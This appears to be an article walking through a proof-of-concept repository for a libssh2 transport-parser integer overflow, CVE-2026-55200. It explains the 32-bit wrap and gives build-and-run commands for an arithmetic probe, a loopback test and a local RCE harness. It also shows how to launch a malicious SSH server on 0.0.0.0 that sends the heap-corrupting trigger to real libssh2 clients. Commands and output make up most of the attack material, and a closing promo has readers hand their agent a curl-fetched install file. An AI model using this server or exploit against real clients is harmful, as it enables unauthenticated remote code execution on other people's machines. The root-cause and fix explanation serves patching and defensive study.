How to Reproduce the libssh2 Transport Parser Integer Overflow (CVE‑2026‑55200)

The libssh2 transport parser integer overflow occurs when packet_length = 0xffffffff wraps during 32‑bit arithmetic, causing a 19‑byte allocation for a 4.29 GB payload, leading to out‑of‑bounds writes.

The bikini/exploitarium repository provides a complete, self‑contained proof‑of‑concept for CVE‑2026‑55200. This vulnerability affects libssh2's ssh2_transport_read() function in src/transport.c, where packet length validation happens after dangerous arithmetic operations. The following guide walks through arithmetic verification, encrypted packet generation, loopback testing, and a working local RCE demonstration.


Verify the Integer Overflow Arithmetic

The first step reproduces the exact calculation flaw. In poc/cve_2026_55200_probe.c, the repository mirrors libssh2's vulnerable logic:

// Simplified from the vulnerable path in ssh2_transport_read()
uint32_t packet_length = 0xffffffff;
uint32_t mac_len = 0;
uint32_t auth_len = 16;
uint32_t rhs32 = (packet_length + mac_len + auth_len) & 0xffffffff;  // = 15
uint32_t total32 = (4 + rhs32) & 0xffffffff;                         // = 19

To build and run the verifier:

git clone https://github.com/bikini/exploitarium.git
cd exploitarium/libssh2-cve-2026-55200-poc/poc
gcc -std=c11 -Wall -Wextra -O0 -g -o cve_2026_55200_probe cve_2026_55200_probe.c
./cve_2026_55200_probe

Expected output confirms the vulnerability:


vulnerable32_decision=accepted
vulnerable32_allocation=19
fixed32_decision=rejected: out of boundary
native_unpatched_decision=accepted
result=PASS

Why this matters: The library allocates 19 bytes based on the wrapped sum, but later code paths still reference the original packet_length of 0xffffffff (4,294,967,295 bytes). This mismatch is the root cause of the out‑of‑bounds write.


Generate Malformed Encrypted SSH Packets

The Python server in poc/libpwn_cve_2026_55200_server.py implements the full cryptographic pipeline. It performs SSH handshake, derives ChaCha20‑Poly1305 keys, and constructs packets with packet_length = 0xffffffff in the decrypted plaintext.

Run the self‑test to verify the crypto and arithmetic together:

cd ../../poc
python3 libpwn_cve_2026_55200_server.py --self-test

The --self-test flag exercises build_malformed_wire() and model_vulnerable_c_expression() (lines 58‑66), which reproduce the C arithmetic in Python:

def model_vulnerable_c_expression(packet_length, mac_len, auth_len):
    rhs32 = (packet_length + mac_len + auth_len) & 0xffffffff  # wraps to 15

    total32 = (4 + rhs32) & 0xffffffff                         # wraps to 19

    return total32  # allocation size, not the checked length

Success output includes:


[self-test] chacha20-poly1305@openssh.com packet generator
packet_length=0xffffffff (4294967295)
vulnerable_c_expression_accepted=True
vulnerable_c_expression_allocation=19
[self-test] PASS


Loopback Test for End‑to‑End Verification

The --loopback-test option validates the full path from handshake to trigger delivery without requiring an external client:

python3 libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0

This spins up a server thread and client socket pair, performing:

  1. KEXINIT exchange with curve25519‑sha256
  2. ECDHE key derivation
  3. NEWKEYS transition to ChaCha20‑Poly1305 encryption
  4. Malicious packet injection with packet_length = 0xffffffff

Success output:


[loopback-test] minimal SSH handshake/key-derivation path
decrypted_trigger_packet_length=0xffffffff (4294967295)
encrypted_trigger_fragment_len=...
[loopback-test] PASS

This confirms that a real libssh2 client would decrypt the trigger packet and proceed to the vulnerable allocation path in src/transport.c:ssh2_transport_read().


Local RCE Proof‑of‑Concept

The repository includes a controlled harness demonstrating code execution after the overflow. The components are:

Build and execute the RCE demo:

gcc -O0 -g -Wall -Wextra -o libpwn_local_rce_harness poc/libpwn_local_rce_harness.c
python3 libpwn_local_rce_exploit.py \
    --harness ./libpwn_local_rce_harness \
    --proof ./libpwn_rce_proof.txt
cat libpwn_rce_proof.txt

Verified output:


RCE_PROOF=PASS
libpwn-rce-verified

Exploitation mechanism: The harness's malloc(19) returns a small heap chunk. The subsequent memcpy of 0xffffffff - 1 bytes overflows into adjacent metadata, overwriting a stored callback pointer. The exploit driver precomputes a payload address that creates the proof file upon invocation.


Target Real libssh2 Clients

To test against actual vulnerable binaries, launch the malicious server:

python3 libpwn_cve_2026_55200_server.py --serve \
    --listen-host 0.0.0.0 \
    --listen-port 2222 \
    --packet-length 0xffffffff \
    --body-len 8 \
    --filler-len 64

Server operation flow:

  1. Accepts TCP connection on port 2222
  2. Completes SSH handshake with connecting client
  3. Sends encrypted trigger packet with packet_length = 0xffffffff in plaintext
  4. Holds connection open for --hold-open seconds (default: 1)

Diagnostic output:


[+] sent malformed chacha/poly1305 trigger at server seq=6
[+] trigger bytes=64 packet_length=0xffffffff

A vulnerable libssh2 client will allocate 19 bytes, then attempt to process 4.29 GB of payload data, causing heap corruption and potential code execution.


Quick Reference Commands


# 1. Verify arithmetic

gcc -std=c11 -Wall -Wextra -O0 -g -o probe poc/cve_2026_55200_probe.c && ./probe

# 2. Self-test crypto scaffold

python3 poc/libpwn_cve_2026_55200_server.py --self-test

# 3. Loopback end-to-end test

python3 libpwn_cve_2026_55200_server.py --loopback-test --hold-open 0

# 4. Build and run RCE harness

gcc -O0 -g -Wall -Wextra -o harness poc/libpwn_local_rce_harness.c
python3 poc/libpwn_local_rce_exploit.py --harness ./harness --proof proof.txt

# 5. Serve malicious payload to real clients

python3 libpwn_cve_2026_55200_server.py --serve --listen-host 0.0.0.0 --listen-port 2222

Summary

  • Root cause: 32‑bit integer overflow when adding packet_length + mac_len + auth_len before bounds checking against LIBSSH2_PACKET_MAXPAYLOAD in src/transport.c
  • Vulnerable value: packet_length = 0xffffffff wraps allocation to 19 bytes while preserving original 4.29 GB length for later use
  • Key reproduction files:
  • Upstream fix: Add if (packet_length > LIBSSH2_PACKET_MAXPAYLOAD) return -1 guard before any arithmetic (commit 97acf3dfda80c91c3a8c9f2372546301d4a1a7a8)

Frequently Asked Questions

What versions of libssh2 are affected by CVE‑2026‑55200?

All versions prior to the fix commit 97acf3dfda80c91c3a8c9f2372546301d4a1a7a8 are vulnerable. The bug exists in the transport parser's length validation logic, specifically in ssh2_transport_read() within src/transport.c. Versions using 32‑bit arithmetic for packet length calculations are exploitable regardless of platform bitness.

Why does the allocation wrap to exactly 19 bytes?

The calculation follows: (4 + ((0xffffffff + 0 + 16) & 0xffffffff)) & 0xffffffff. Step by step: 0xffffffff + 16 = 0x0000000f (wraps to 15), then 4 + 15 = 19. The constant 4 accounts for the packet length field itself, while 16 is the Poly1305 authentication tag length. This 19‑byte allocation is tiny compared to the claimed 4.29 GB payload.

Can this vulnerability be exploited remotely without authentication?

Yes. The malformed packet is sent after the SSH handshake completes and encryption keys are established, but before any user authentication occurs. The server in libpwn_cve_2026_55200_server.py demonstrates this by completing KEXINIT, ECDHE, and NEWKEYS exchanges before delivering the trigger.

How does the fix prevent the integer overflow?

The patched code validates packet_length against LIBSSH2_PACKET_MAXPAYLOAD (32768 bytes) immediately upon decryption, rejecting oversized values before any arithmetic operations. This prevents the 32‑bit wrap because the check occurs on the raw decrypted value, not on the result of additions.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →